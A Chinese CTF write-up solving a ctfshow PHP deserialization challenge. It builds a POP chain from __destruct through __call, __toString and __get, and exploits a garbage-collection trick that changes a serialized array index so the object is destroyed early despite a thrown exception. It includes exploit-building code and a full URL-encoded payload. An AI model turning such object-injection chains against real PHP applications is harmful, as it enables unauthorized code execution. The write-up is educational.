因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。
进入题目,给了源码:
<?php
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
要输出flag,就要调用方法MeMeMe()
一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法
数组调用类中方法
关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:
##例子1
<?php
error_reporting(0);
class one{
public function test()
{
echo "123";
}
}
$a=array(one,test);
$a();
##例子2
还有一种是形似题目这种调用数组名的:
可以从调试窗口看到得到清晰的划分。
输出:
123
接下来就是触发各类魔方方法了
可以看之前的一篇文章
我这里就把链子理一下:
one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe
__destruct函数的GC回收机制:
参考:
https://www.jianshu.com/p/d73b3ca418b0
<?php
class one{
public function __destruct(){
echo "__destruct";
}
}
$a = new one();
throw new Exception("高一新生报道");
解决方法:
<?php
class one{
public $string;
public function __destruct(){
echo "__destruct";
}
}
$a=new one();
$b=array($a,NULL);
echo serialize($b);
以上代码序列化的结果:
a:2:{i:0;O:3:"one":0:{}i:1;N;}
把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct
payload:
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $year_parm=array("Happy_func");
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
public $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
$b = array($a,NULL);
echo urlencode(serialize($b));
生成的payload:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的